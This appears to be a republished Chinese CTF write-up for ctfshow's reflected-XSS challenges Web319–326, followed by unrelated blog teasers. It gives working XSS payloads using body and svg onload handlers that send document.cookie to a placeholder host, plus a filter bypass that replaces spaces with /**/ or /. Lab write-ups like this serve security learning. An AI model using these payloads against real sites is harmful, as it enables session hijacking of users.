ctfshow(319-＞326)--XSS漏洞--反射型XSS

article2024/12/23 0:04:04/文章来源:https://blog.csdn.net/m0_56019217/article/details/143636212

Web319

在这里插入图片描述

思路

先测试过滤，发现过滤了script、img，没有过滤body，svg
payload:

<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

得到flag.

Web320

先测试过滤，发现过滤了script、img，没有过滤body，svg
输入payload:

<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

发现payload被过滤。
测试之后发现是空格被过滤
空格使用 /**/ 或者 / 绕过。

<body/**/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

<body/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

得到flag.

Web321-326

使用与上一题同样的payload都可以得到flag.

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/911499.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

MySQL server 免安装教程

1，下载免安装包-社区版本 https://dev.mysql.com/downloads/file/?id534320 2，解压放到一电脑某个路径下，整个包 3，创建data 文件夹和my.ini文件 my.ini代码照抄，注意修改路径，与解压后的安装包地址一…

使用ookii-dialogs-wpf在WPF选择文件夹时能输入路径

在进行WPF开发时，System.Windows.Forms.FolderBrowserDialog的选择文件夹功能不支持输入路径： 希望能够获得下图所示的选择文件夹功能： 于是，通过NuGet中安装Ookii.Dialogs.Wpf包，并创建一个简单的工具类： …

Java项目实战II基于Spring Boot的便利店信息管理系统（开发文档+数据库+源码）

目录一、前言二、技术介绍三、系统实现四、文档参考五、核心代码六、源码获取全栈码农以及毕业设计实战开发，CSDN平台Java领域新星创作者，专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末一、前言在快节奏的…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具，通过日志文件(changelog)的形式记录数据库的变更(changeset)，然后执行日志文件中的修改，将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

练习LabVIEW第四十三题

学习目标： 模拟红绿灯，红灯亮十秒，绿灯亮五秒，交替，并用波形图将波形显示开始编写： 前面板两个指示灯，一个红色，一个绿色，一个波形图； 程序框图创建…

针对解决前后端BUG的个人笔记

1-IDEA Q：Required Java version 17 is not supported by SDK 1.8. The maximum supported Java version is 8. A: 我们只知道IDEA页面创建Spring项目，其实是访问spring initializr去创建项目。故我们可以通过阿里云国服去间接创建Spring项目。将https…

ElasticSearch 添加IK分词器

ElasticSearch 添加IK分词器前言一、IK分词器的算法二、Ik分词器的下载安装（Winows 版本）三、Ik分词器的下载安装（Linux 版本）四、验证测试（postman工具）测试 ik_smart 分词算法测试 ik_max_word 分词算法…

Android关机流程知多少？

在 Android 中，关机流程涉及系统各个组件的协同工作，确保设备在断电之前能够安全地关闭所有活动并保存数据。以下是 Android 系统中关机流程的详细介绍： 1. 用户触发关机请求关机流程由用户的操作触发，通常有以下几种方式&#…

Golang | Leetcode Golang题解之第542题01矩阵

题目： 题解： type point struct{x, y int }var dirs []point{{-1, 0}, {1, 0}, {0, -1}, {0, 1}}func updateMatrix(mat [][]int) [][]int {var m, n len(mat), len(mat[0])var res make([][]int, m)var visited make([][]bool, m)var queue []poin…

基于ssm的小区物业管理系统

项目描述临近学期结束，还是毕业设计，你还在做java程序网络编程，期末作业，老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下，你想解决的问…

_处理匿名命名空间里的变量时进入硬件中断错误

最近在初次使用匿名空间时出现一个很离谱的错误，我先简单描述一下情形：在匿名命名空间里有一个变量（全局），在命名空间外，有一个内联函数操作该空间内的变量。如果开优化，那么程序就会进入硬件错…

esp32学习：利用虫洞ESP32开发板，快速实现无线图传

我们的虫洞开发板，能够完美运行esp who AI代码，所以实现无线图传那是非常容易的，我们先看看examples目录： 里面有比较多的web例程，在这些例程下，稍作修改，就可以快速实现我的图传无线功能&#…

芯片需要按一下keyup或者复位按键虚拟或者下载之后芯片能下载却运行不了或者需要额外供电。

这些问题很有可能是因为外围电路器件幅值与设计不同的存在，导致你需要外部供电才能实现一个正常运行，可以检查一下外围电路在供电区域的电流区，电阻幅值是否和原理图设计时看的一模一样或者直接更换因为按键会失灵，首先检查复位按…

万字长文读懂RAG

目录 RAG的整体架构设计一、概览 1-Overview 2-Indexing 3-Retrival 4-Generation 二、优化元素提问 5-Multi Query多查询策略 6-RAG-Fusion多查询结果融合策略 7-Decomposition问题分解策略 Answer recursively Answer individually 8-Step Back问答回退策略 9…

[全网最细数据结构完整版]第六篇:3分钟带你吃透栈并模拟实现

目录 1->栈的概念和结构 1.1栈的概念 1.2栈的结构 2->栈的实现 2.1定义关于栈的结构体和各种函数 2.2栈的初始化 STInit 函数 2.3栈的销毁 STDestroy 函数 2.4栈的插入操作 STPush 函数 2.5栈的判断是否为空操作 STEmpty 函数 2.6栈的删除操作 STPop 函数 2.7…

Uniapp底部导航栏设置（附带PS填充图标教程）

首先需要注册和登录ifconfont官网，然后创建项目添加需要的图标创建和添加图标库请参考：Uniapp在Vue环境中引入iconfont图标库（详细教程） 打开iconfont官网，找到之前添加的图标库，下载png图片如果需要的…

k8s图形化显示（KRM）

在master节点 kubectl get po -n kube-system 这个命令会列出 kube-system 命名空间中的所有 Pod 的状态和相关信息，比如名称、状态、重启次数等。 systemctl status kubelet #查看kubelet状态 yum install git #下载git命令 git clone https://gitee.com/duk…